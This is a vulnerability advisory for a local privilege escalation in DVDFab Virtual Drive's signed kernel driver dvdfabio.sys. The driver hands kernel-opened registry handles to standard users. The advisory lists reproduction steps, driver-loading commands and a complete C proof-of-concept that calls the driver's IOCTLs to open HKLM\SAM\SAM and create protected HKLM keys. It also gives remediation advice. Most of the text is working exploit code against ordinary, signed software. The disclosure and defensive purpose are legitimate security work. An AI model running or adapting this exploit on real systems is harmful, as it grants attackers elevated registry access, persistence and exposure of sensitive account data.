DVDFab Virtual Drive Kernel Driver dvdfabio.sys 1.5.1.0 Local Privilege Escalation

Summary 

 DVDFab Virtual Drive 2.0.0.5 ships the signed kernel driver dvdfabio.sys . The driver exposes \\.\DVDFabIO and implements registry proxy IOCTLs that open or create caller-selected native registry paths from kernel context. 

 The returned registry handle is inserted into the caller's process handle table. Because the driver opens the key from kernel mode without enforcing the caller's normal registry access checks, a standard user can obtain a usable handle to protected HKLM keys. In the validation below, a standard user could not directly write to a protected HKLM test key and could not directly query HKLM\SAM\SAM ; the same user used \\.\DVDFabIO to write the protected test key and to open/query HKLM\SAM\SAM , local privilege escalation is achieved. 

 Affected Product and Version 

 

 Product: DVDFab Virtual Drive 

 Tested package: x64 offline installer 2.0.0.5 

 Driver: dvdfabio.sys 

 Driver version: 1.5.1.0 

 Driver SHA-256: C3A8549359FF81566F5C58359458E3F019C8DB73EE5BC831680C6EDB3A95F38B 

 

 Download URL and SHA-256 

 

 Download URL: https://dl.dvdfab.cn/download/204_2005_9042fe5d/dvdfab_virtual_drive_x64_2005.exe 

 File name: dvdfab_virtual_drive_x64_2005.exe 

 Installer SHA-256: 47EFFCEA3D80B6784DF6314BFADCABA6B688EF03F2B5FEAFA0CB2744C041F1E7 

 Installer version: 1.0.0.1 

 Installer signature: Valid, DVDFab Software Inc. 

 Driver signature: Valid, Fengtao Software Inc. 

 

 Vulnerability Type 

 Local privilege escalation / Windows registry access-control bypass through kernel-created registry handles returned to a low-privileged caller. 

 Impact 

 A low-privileged local user can obtain handles to protected HKLM registry keys with access masks that Windows would normally deny. With KEY_SET_VALUE , this permits protected registry value writes. With read access, it permits opening protected hives such as HKLM\SAM\SAM . 

 Practical impact includes protected configuration tampering, persistence setup through registry-controlled locations, and sensitive registry metadata disclosure. The validation used a self-created HKLM test key for write impact and used HKLM\SAM\SAM only for read/open proof. 

 Test Environment 

 

 OS: Windows, x64 test VM 

 Administrator account used only for driver loading and test-object setup 

 Test user: standard user EXPDEV\low 

 Test user integrity: Medium Integrity 

 Test user groups: BUILTIN\Users , not BUILTIN\Administrators 

 Test key: HKLM\SOFTWARE\VendorRepro\DVDFabIO 

 

 Driver Load / Setup Steps 

 

 Downloaded the official DVDFab Virtual Drive x64 offline installer. 

 Extracted dvdfabio.sys from the package with 7-Zip. 

 Loaded the extracted signed driver without installing the full product by creating a temporary kernel service: 

 

 sc.exe create DVDFabIORepro type= kernel start= demand binPath= C:\...\dvdfabio.sys

sc.exe start DVDFabIORepro 

 

 Confirmed the driver was running: 

 

 SERVICE_NAME: DVDFabIORepro

TYPE : 1 KERNEL_DRIVER

STATE : 4 RUNNING 

 

 Created a protected HKLM test key as administrator: 

 

 New-Item -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Force

New-ItemProperty -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Name Guard -Value before -PropertyType String -Force 

 

 Reproduction Steps 1. Extract and Load Driver 

 1. Extract and Load Driver 

 Extract dvdfabio.sys from the official x64 installer: 

 7z.exe x dvdfab_virtual_drive_x64_2005.exe dvdfabio.sys -oC:\ProgramData\VendorRepro\dvdfabio_extract -y 

 Load the driver with a temporary service: 

 sc.exe create DVDFabIORepro type= kernel start= demand binPath= C:\ProgramData\VendorRepro\dvdfabio_extract\dvdfabio.sys

sc.exe start DVDFabIORepro

sc.exe query DVDFabIORepro 

 2. Create Controlled Registry Key 

 Run as administrator: 

 New-Item -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Force | Out-Null

New-ItemProperty -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Name Guard -Value before -PropertyType String -Force | Out-Null 

 3. Baseline as Standard User 

 Run as a standard user: 

 reg add HKLM\SOFTWARE\VendorRepro\DVDFabIO /v DriverWritten /t REG_SZ /d SHOULD-NOT-WRITE /f

reg query HKLM\SAM\SAM 

 Expected result: 

 ERROR: Access is denied. 

 4. Write Protected Value Through Driver Handle 

 Run as the same standard user: 

 dvdfabio_registry_setvalue_poc.exe --key \Registry\Machine\SOFTWARE\VendorRepro\DVDFabIO --value DriverWritten --data DVDFABIO-REGISTRY-HANDLE-WRITE-c116e8a0-e40f-40c3-aa0f-3e4c48f49cae 

 Expected output: 

 Set \Registry\Machine\SOFTWARE\VendorRepro\DVDFabIO\DriverWritten through dvdfabio handle 

 Confirm: 

 reg query HKLM\SOFTWARE\VendorRepro\DVDFabIO /v DriverWritten 

 5. Open SAM Through Driver Handle 

 Run as the same standard user: 

 dvdfabio_registry_handle_poc.exe \Registry\Machine\SAM\SAM 0x00020019 

 Expected output: 

 Driver returned key handle: 0x...

NtQueryKey succeeded. Final key component: SAM 

 6. Cleanup 

 Remove-Item HKLM:\SOFTWARE\VendorRepro -Recurse -Force -ErrorAction SilentlyContinue

sc.exe stop DVDFabIORepro

sc.exe delete DVDFabIORepro

Remove-Item C:\ProgramData\VendorRepro -Recurse -Force -ErrorAction SilentlyContinue 

 

 

 Why This Proves the Vulnerability 

 The test user is a standard user at Medium Integrity. Windows correctly denies that user direct write access to the protected HKLM test key and direct read/query access to HKLM\SAM\SAM . The same user can obtain privileged registry handles through \\.\DVDFabIO and use them in the caller process. 

 This proves that dvdfabio.sys exposes privileged registry open/create functionality to low-privileged callers without enforcing the expected Windows registry access checks. 

 Suggested Remediation 

 

 Remove the registry open/create IOCTLs from the public device interface. 

 Restrict the \\.\DVDFabIO device ACL so standard users cannot open it. 

 Do not return kernel-opened object handles to untrusted callers. 

 If registry access is required, impersonate the caller and force normal access checks before opening the registry object. 

 Restrict any necessary registry helper to vendor-owned keys and validate requested access masks against a strict allowlist. 

 

 POC 

 // DVDFab Virtual Drive dvdfabio.sys registry handle ACL-bypass PoC.

//

// Static target:

// \Device\DVDFabIO / \\.\DVDFabIO

// IOCTL 0x222410 -> ZwOpenKey with ObjectAttributes.Attributes = 0x40

// IOCTL 0x22240C -> ZwCreateKey with ObjectAttributes.Attributes = 0x40

//

// This program does not write registry values. By default it asks the driver to

// open \Registry\Machine\SAM\SAM read-only and verifies the returned handle with

// NtQueryKey. The optional --create-demo mode creates/opens a disposable HKLM

// software key but still does not set or delete values.

#define WIN32_LEAN_AND_MEAN

#include <windows.h>

#include <winioctl.h>

#include <winternl.h>

#include <stdio.h>

#include <stdint.h>

#include <stdlib.h>

#include <wchar.h>

#ifndef NT_SUCCESS

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

#endif

#ifndef KEY_WOW64_64KEY

#define KEY_WOW64_64KEY 0x0100

#endif

#define IOCTL_DVDFABIO_CREATE_KEY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x903, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_DVDFABIO_OPEN_KEY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x904, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef enum _KEY_INFORMATION_CLASS_LOCAL {

 KeyBasicInformationLocal = 0

} KEY_INFORMATION_CLASS_LOCAL;

typedef struct _KEY_BASIC_INFORMATION_LOCAL {

 LARGE_INTEGER LastWriteTime;

 ULONG TitleIndex;

 ULONG NameLength;

 WCHAR Name[1];

} KEY_BASIC_INFORMATION_LOCAL;

typedef NTSTATUS (NTAPI *PFN_NT_QUERY_KEY)(

 HANDLE KeyHandle,

 KEY_INFORMATION_CLASS_LOCAL KeyInformationClass,

 PVOID KeyInformation,

 ULONG Length,

 PULONG ResultLength);

#pragma pack(push, 1)

typedef struct _DVDFABIO_OPEN_KEY_REQ {

 DWORD DesiredAccess;

 WCHAR NativePath[260];

} DVDFABIO_OPEN_KEY_REQ;

typedef struct _DVDFABIO_CREATE_KEY_REQ {

 DWORD DesiredAccess;

 DWORD CreateOptions;

 WCHAR NativePath[260];

} DVDFABIO_CREATE_KEY_REQ;

#pragma pack(pop)

static void usage(const wchar_t *argv0)

{

 wprintf(L"Usage:\n");

 wprintf(L" %ls [native-key-path] [desired-access-hex]\n", argv0);

 wprintf(L" %ls --create-demo\n\n", argv0);

 wprintf(L"Default native-key-path: \\\\Registry\\\\Machine\\\\SAM\\\\SAM\n");

 wprintf(L"Default desired access: KEY_READ | KEY_WOW64_64KEY (0x%08lx)\n",

 (unsigned long)(KEY_READ | KEY_WOW64_64KEY));

}

static int query_key_name(HANDLE key)

{

 BYTE buffer[1024];

 ULONG needed = 0;

 HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");

 if (!ntdll) {

 fwprintf(stderr, L"GetModuleHandleW(ntdll.dll) failed: %lu\n", GetLastError());

 return 1;

 }

 PFN_NT_QUERY_KEY NtQueryKeyFn =

 (PFN_NT_QUERY_KEY)GetProcAddress(ntdll, "NtQueryKey");

 if (!NtQueryKeyFn) {

 fwprintf(stderr, L"GetProcAddress(NtQueryKey) failed: %lu\n", GetLastError());

 return 1;

 }

 NTSTATUS st = NtQueryKeyFn(key,

 KeyBasicInformationLocal,

 buffer,

 sizeof(buffer),

 &needed);

 if (!NT_SUCCESS(st)) {

 fwprintf(stderr, L"NtQueryKey failed: NTSTATUS 0x%08lx, needed %lu bytes\n",

 (unsigned long)st, needed);

 return 1;

 }

 KEY_BASIC_INFORMATION_LOCAL *info = (KEY_BASIC_INFORMATION_LOCAL *)buffer;

 DWORD chars = info->NameLength / sizeof(WCHAR);

 wprintf(L"NtQueryKey succeeded. Final key component: %.*ls\n",

 (int)chars, info->Name);

 return 0;

}

static int open_key_via_driver(HANDLE device, const wchar_t *path, DWORD desired)

{

 DVDFABIO_OPEN_KEY_REQ req;

 DWORD bytes = 0;

 ZeroMemory(&req, sizeof(req));

 req.DesiredAccess = desired;

 wcsncpy_s(req.NativePath, _countof(req.NativePath), path, _TRUNCATE);

 BOOL ok = DeviceIoControl(device,

 IOCTL_DVDFABIO_OPEN_KEY,

 &req,

 sizeof(req),

 &req,

 sizeof(uint64_t),

 &bytes,

 NULL);

 if (!ok) {

 fwprintf(stderr, L"DeviceIoControl(IOCTL_DVDFABIO_OPEN_KEY) failed: %lu\n",

 GetLastError());

 return 1;

 }

 uintptr_t raw_handle = *(uintptr_t *)&req;

 if (raw_handle == (uintptr_t)-1 || raw_handle == 0) {

 fwprintf(stderr, L"Driver returned invalid handle value: 0x%p\n",

 (void *)raw_handle);

 return 1;

 }

 HANDLE key = (HANDLE)raw_handle;

 wprintf(L"Driver returned key handle: 0x%p for %ls\n", key, path);

 int rc = query_key_name(key);

 CloseHandle(key);

 return rc;

}

static int create_demo_key_via_driver(HANDLE device)

{

 static const wchar_t demo_path[] =

 L"\\Registry\\Machine\\SOFTWARE\\DVDFabIO_PoC";

 DVDFABIO_CREATE_KEY_REQ req;

 DWORD bytes = 0;

 ZeroMemory(&req, sizeof(req));

 req.DesiredAccess = KEY_READ | KEY_SET_VALUE | KEY_CREATE_SUB_KEY | KEY_WOW64_64KEY;

 req.CreateOptions = REG_OPTION_NON_VOLATILE;

 wcsncpy_s(req.NativePath, _countof(req.NativePath), demo_path, _TRUNCATE);

 BOOL ok = DeviceIoControl(device,

 IOCTL_DVDFABIO_CREATE_KEY,

 &req,

 sizeof(req),

 &req,

 sizeof(uint64_t),

 &bytes,

 NULL);

 if (!ok) {

 fwprintf(stderr, L"DeviceIoControl(IOCTL_DVDFABIO_CREATE_KEY) failed: %lu\n",

 GetLastError());

 return 1;

 }

 uintptr_t raw_handle = *(uintptr_t *)&req;

 if (raw_handle == (uintptr_t)-1 || raw_handle == 0) {

 fwprintf(stderr, L"Driver returned invalid handle value: 0x%p\n",

 (void *)raw_handle);

 return 1;

 }

 HANDLE key = (HANDLE)raw_handle;

 wprintf(L"Driver created/opened demo key handle: 0x%p for %ls\n", key, demo_path);

 int rc = query_key_name(key);

 CloseHandle(key);

 return rc;

}

int wmain(int argc, wchar_t **argv)

{

 const wchar_t *path = L"\\Registry\\Machine\\SAM\\SAM";

 DWORD desired = KEY_READ | KEY_WOW64_64KEY;

 BOOL create_demo = FALSE;

 if (argc > 1) {

 if (wcscmp(argv[1], L"--help") == 0 || wcscmp(argv[1], L"-h") == 0) {

 usage(argv[0]);

 return 0;

 }

 if (wcscmp(argv[1], L"--create-demo") == 0) {

 create_demo = TRUE;

 } else {

 path = argv[1];

 }

 }

 if (argc > 2) {

 desired = wcstoul(argv[2], NULL, 0);

 }

 HANDLE device = CreateFileW(L"\\\\.\\DVDFabIO",

 0,

 FILE_SHARE_READ | FILE_SHARE_WRITE,

 NULL,

 OPEN_EXISTING,

 FILE_ATTRIBUTE_NORMAL,

 NULL);

 if (device == INVALID_HANDLE_VALUE) {

 fwprintf(stderr, L"CreateFileW(\\\\.\\DVDFabIO) failed: %lu\n", GetLastError());

 fwprintf(stderr, L"Install/load DVDFab Virtual Drive first, then retry in a disposable VM.\n");

 return 1;

 }

 int rc = create_demo

 ? create_demo_key_via_driver(device)

 : open_key_via_driver(device, path, desired);

 CloseHandle(device);

 return rc;

}